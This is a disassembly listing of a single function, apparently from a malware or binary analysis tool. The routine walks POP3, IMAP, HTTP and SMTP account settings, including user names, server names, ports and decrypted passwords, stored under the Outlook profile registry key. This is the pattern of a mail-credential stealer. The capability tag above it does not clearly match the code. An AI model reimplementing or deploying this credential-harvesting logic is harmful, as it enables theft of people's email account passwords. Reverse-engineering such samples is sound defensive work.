Function at 0x45b9b0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov eax, 0x1078
call fcn.0047aea0
push ebx
push ebp
push edi
xor edi, edi
mov dword [esp + 0x48], str.POP3_Password
mov dword [esp + 0x4c], str.IMAP_Password
mov dword [esp + 0x50], str.HTTP_Password
mov dword [esp + 0x54], str.SMTP_Password
mov dword [esp + 0x38], str.POP3_User
mov dword [esp + 0x3c], str.IMAP_User
mov dword [esp + 0x40], str.HTTP_User
mov dword [esp + 0x44], str.SMTP_User
mov dword [esp + 0x58], str.POP3_Server
mov dword [esp + 0x5c], str.IMAP_Server
mov dword [esp + 0x60], str.HTTP_Server_URL
mov dword [esp + 0x64], str.SMTP_Server
mov dword [esp + 0x68], str.POP3_Port
mov dword [esp + 0x6c], str.IMAP_Port
mov dword [esp + 0x70], str.HTTP_Port
mov dword [esp + 0x74], str.SMTP_Port
xor ebp, ebp
push 0xc04
lea eax, [esp + 0x480]
push edi
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
push 0x3ff
lea ecx, [esp + 0x7d]
push edi
push ecx
mov byte [esp + 0x84], 0
call sub.msvcrt.dll_memset
mov edx, dword [esi]
mov edx, dword [edx + 0x18]
add esp, 0xc
push edi
lea eax, [esp + 0x14]
push eax
mov eax, dword [esp + ebp*4 + 0x50]
lea ecx, [esp + 0x80]
push ecx
push eax
mov ecx, esi
mov dword [esp + 0x20], 0x400
call edx
test eax, eax
jne 0x45bc2a
cmp byte [esp + 0x78], 2
jne 0x45bc2a
mov eax, dword [esp + 0x10]
cmp eax, 0x14
jbe 0x45bc2a
add eax, 0xffffffff
lea edx, [esp + 0x14]
push edx
mov dword [esp + 0x20], eax
push edi
lea eax, [esp + 0x24]
lea ecx, [esp + 0x81]
push eax
mov eax, 0x48d1b8
mov dword [esp + 0x2c], ecx
call fcn.00474e90
test eax, eax
je 0x45bc2a
mov ecx, dword [esp + 0x18]
mov eax, dword [esp + 0x14]
push ecx
lea edx, [esp + 0x28]
shr eax, 1
push edx
mov dword [esp + 0x38], edi
mov dword [esp + 0x2c], edi
mov dword [esp + 0x30], edi
mov dword [esp + 0x3c], 0x100
mov dword [esp + 0x34], edi
call fcn.00466ba0
mov ebx, dword [esp + 0x24]
cmp ebx, edi
mov ecx, 0x47c518
je 0x45bb21
mov ecx, ebx
mov eax, ecx
lea edi, [eax + 2]
mov dx, word [eax]
add eax, 2
test dx, dx
jne 0x45bb26
sub eax, edi
sar eax, 1
cmp eax, 0xff
jl 0x45bb41
mov eax, 0xfe
lea edi, [eax + eax]
push edi
push ecx
lea eax, [esp + 0x880]
push eax
call sub.msvcrt.dll_memcpy
mov ecx, dword [esp + 0x24]
add esp, 0xc
push ecx
mov word [esp + edi + 0x87c], 0
call dword [sym.imp.KERNEL32.DLL_LocalFree]
push str.Display_Name
lea edi, [esp + 0xa7c]
mov eax, esi
call fcn.0045b910
push str.Email
lea edi, [esp + 0xc7c]
mov eax, esi
call fcn.0045b910
mov edx, dword [esp + ebp*4 + 0x38]
push edx
lea edi, [esp + 0x67c]
mov eax, esi
call fcn.0045b910
mov eax, dword [esp + ebp*4 + 0x58]
push eax
lea edi, [esp + 0x47c]
mov eax, esi
call fcn.0045b910
mov ecx, dword [esp + ebp*4 + 0x68]
mov edx, dword [esi]
mov edx, dword [edx + 4]
lea eax, [esp + 0x1078]
push eax
push ecx
mov ecx, esi
call edx
mov eax, dword [esp + 0x1094]
mov ecx, dword [esp + 0x108c]
mov edx, dword [esp + 0x1090]
push eax
push str.9375CFF0413111d3B88A00104B2A6676
push ecx
push edx
push str.HKEY_CURRENT_USER_s_s_s_s
lea eax, [esp + 0xe8c]
push 0xff
push eax
call sub.msvcrt.dll__snwprintf
mov ecx, dword [esp + 0x10a4]
mov edx, dword [ecx]
mov edx, dword [edx]
add esp, 0x1c
mov eax, edi
push eax
mov dword [esp + 0x1080], ebp
call edx
test ebx, ebx
je 0x45bc28
push ebx
call sub.msvcrt.dll_free
add esp, 4
xor edi, edi
add ebp, 1
cmp ebp, 4
jb 0x45ba41
pop edi
pop ebp
pop ebx
add esp, 0x1078
ret 0x10